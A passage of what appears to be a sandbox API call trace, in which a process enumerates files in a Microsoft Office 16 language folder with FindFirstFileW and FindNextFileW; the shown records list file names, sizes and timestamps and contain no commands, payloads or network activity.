ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46fe4fe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASTEL.CSS", cAlternateFileName="")) returned 1 [0278.292] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1e03f98, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1e03f98, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1e03f98, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x39e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE.VSL", cAlternateFileName="")) returned 1 [0278.292] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46fe4fe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIPELINE.VRD", cAlternateFileName="")) returned 1 [0278.292] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3acdc360, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3acdc360, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b580a61, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x431068, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJINTL.DLL", cAlternateFileName="")) returned 1 [0278.292] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3d74ea0, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3d74ea0, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3d74ea0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3060, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMENURES.DLL", cAlternateFileName="")) returned 1 [0278.292] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5e43de4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5e43de4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa38f59d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70876, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.HXS", cAlternateFileName="")) returned 1 [0278.292] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXC", cAlternateFileName="POWERP~1.HXC")) returned 1 [0278.292] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXT", cAlternateFileName="POWERP~1.HXT")) returned 1 [0278.292] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_F_COL.HXK", cAlternateFileName="POWERP~1.HXK")) returned 1 [0278.292] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3dba42, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3dba42, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_K_COL.HXK", cAlternateFileName="POWERP~2.HXK")) returned 1 [0278.293] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7b75b6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7b75b6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x126048, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL", cAlternateFileName="")) returned 1 [0278.293] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4571e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEWTEMPLATE.POTX", cAlternateFileName="PREVIE~1.POT")) returned 1 [0278.293] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEWTEMPLATE2.POTX", cAlternateFileName="PREVIE~2.POT")) returned 1 [0278.293] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x472474e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x472474e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x472474e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRIMARY.CSS", cAlternateFileName="")) returned 1 [0278.293] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1cac944, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1cac944, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1cac944, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2cc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSL", cAlternateFileName="")) returned 1 [0278.293] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2577485, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x2577485, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2577485, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x5c61, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSSX", cAlternateFileName="PROPRP~1.VSS")) returned 1 [0278.293] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefbeab61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefbeab61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefc5d1a9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3068, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTOCOLHANDLERINTL.DLL", cAlternateFileName="PROTOC~1.DLL")) returned 1 [0278.294] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa369325, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.DOC", cAlternateFileName="")) returned 1 [0278.294] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa369325, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.PPT", cAlternateFileName="")) returned 1 [0278.294] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.XLS", cAlternateFileName="")) returned 1 [0278.294] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.DOC", cAlternateFileName="")) returned 1 [0278.294] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.PPT", cAlternateFileName="")) returned 1 [0278.294] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.XLS", cAlternateFileName="")) returned 1 [0278.294] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f777, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHKEY.DAT", cAlternateFileName="")) returned 1 [0278.294] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f3978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLEX.DAT", cAlternateFileName="")) returned 1 [0278.294] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa38f59d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa38f59d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3b57c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLTS.DAT", cAlternateFileName="")) returned 1 [0278.295] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa38f59d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHPHN.DAT", cAlternateFileName="")) returned 1 [0278.295] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa4c084e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa03a47, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHSRN.DAT", cAlternateFileName="")) returned 1 [0278.295] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc774d49, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc774d49, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde1fc09e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b3048, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL", cAlternateFileName="")) returned 1 [0278.295] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdc2b493, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdc2b493, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdc2b493, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCOLOR.SCM", cAlternateFileName="")) returned 1 [0278.295] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBFTSCM", cAlternateFileName="")) returned 1 [0278.295] GetProcessHeap () returned 0xaf0000 [0278.295] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0278.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0278.299] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.299] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcda3b5c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcda3b5c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdc2b493, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FONTSCHM.INI", cAlternateFileName="")) returned 1 [0278.299] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME01.CSS", cAlternateFileName="")) returned 1 [0278.299] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fbbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME02.CSS", cAlternateFileName="")) returned 1 [0278.299] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f024, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME03.CSS", cAlternateFileName="")) returned 1 [0278.299] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME04.CSS", cAlternateFileName="")) returned 1 [0278.299] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1edba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME05.CSS", cAlternateFileName="")) returned 1 [0278.300] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME06.CSS", cAlternateFileName="")) returned 1 [0278.300] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ff56, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME07.CSS", cAlternateFileName="")) returned 1 [0278.300] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab4f04e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab4f04e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME08.CSS", cAlternateFileName="")) returned 1 [0278.300] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20444, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME09.CSS", cAlternateFileName="")) returned 1 [0278.300] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa50cd6f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa50cd6f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2072a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME10.CSS", cAlternateFileName="")) returned 1 [0278.300] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa4c084e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa4c084e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa50cd6f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20030, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME11.CSS", cAlternateFileName="")) returned 1 [0278.300] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME12.CSS", cAlternateFileName="")) returned 1 [0278.300] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ec9a, dwReserved0=0x0, 